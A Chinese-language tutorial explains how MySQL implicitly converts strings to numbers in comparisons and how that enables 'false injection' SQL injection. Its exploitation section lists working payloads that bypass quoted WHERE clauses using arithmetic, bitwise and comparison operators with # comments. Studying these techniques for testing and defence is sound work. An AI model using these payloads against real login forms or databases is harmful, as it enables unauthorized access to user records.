MySQL 隐式类型转换

前言

执行命令如下:

mysql> select * from user where username=0;
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
|  2 | zzz      | admin | a72      |
|  3 | test     | test  |          |
+----+----------+-------+----------+
3 rows in set, 3 warnings (0.00 sec)

再次执行如下:

mysql> select * from user where password=0;
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  2 | zzz      | admin | a72      |
|  3 | test     | test  |          |
+----+----------+-------+----------+
2 rows in set, 2 warnings (0.00 sec)

发现少了一行,执行如下:

mysql> select * from user where username='0';
Empty set (0.00 sec)

mysql> select * from user where username='0'^'0';
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
|  2 | zzz      | admin | a72      |
|  3 | test     | test  |          |
+----+----------+-------+----------+
3 rows in set, 3 warnings (0.00 sec)

发现引入操作符会引起类型转化。

原理

Mysql 隐式类型转化,大致是:

  1. 如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用 NULL<=>NULL 会返回1。不做类型转换
  2. 两个参数都是字符串,按照字符串比较。不做类型转换
  3. 两个参数都是整数,按照整数比较。不做类型转换
  4. 如果不与数字进行比较,则将十六进制值视为二进制字符串。
  5. 有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
  6. 有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
  7. 所有其他情况下,两个参数都会被转换为浮点数再进行比较

最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败,失败则会转换为 0

利用

实际中我们接触到的语句都是带有引号的,类似于 where username='+input+' 这样的,这时候我们就需要做一些处理来构造false注入的利用点。有一下方式:

  • 算术运算
  • 位操作运算
  • 比较运算
  • 其他

算术运算

  • +where username=''+'',mysql 中的加法并不会将两个字符串连接起来,而是隐式转换为整数后相加: # 例 mysql> select 'a'+'b'; +---------+ | 'a'+'b' | +---------+ | 0 | +---------+
  • -where username=''-'' mysql> select 'a'-'b';
  • *where username=''*'' mysql> select 'a'*'b';
  • /where username=''/2#',被除数不能为 0 哦。 mysql> select 'a'/2; # 如果为 : mysql> select 'a'/'b'; # 则结果为 NULL
  • %where username=''%2#',同样不能为 0 。如果为 0 则结果也为 NULL。 mysql> select 'a'%2;

位操作运算

值得注意的是,这里有运算符优先级的坑,关系如下:

! > 算术运算符 > 关系运算符 > && > || > 赋值运算符

可以使用的位运算符有:

  • &where username=''&0#' mysql> select 'a'&0;
  • |where username=''|0#' mysql> select 'a'|0;
  • ^,异或运算符,相同为假,不同为真,where username=''^0#' mysql> select 'a'^0;
  • <<,移位运算符,左移一位都相当于乘以2的1次方,左移n位就相当于乘以2的n次方。可以左移 0 位,where username=''<<0#' mysql> select 'ac'<<0;

比较运算符

  • <=> 安全等于,where username=''=0<=>1#' mysql> select 'a'=1<=>1;
  • <> or !=where username=''=0<>0#' mysql> select 'a'=0<=>0;
  • > or <where username=''>1#' mysql> select 'a'>1;

其他

注意 # 号 注释掉末尾的 '

'+1 is not null#
' in (-1,1)#
' not in (1,0)#
' like 1#
' REGEXP 1#
' between 1 and 1# 
' div 1# 
' xor 1#
'=round(0,1)='1
' <> ifnull(1,2)='1

IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。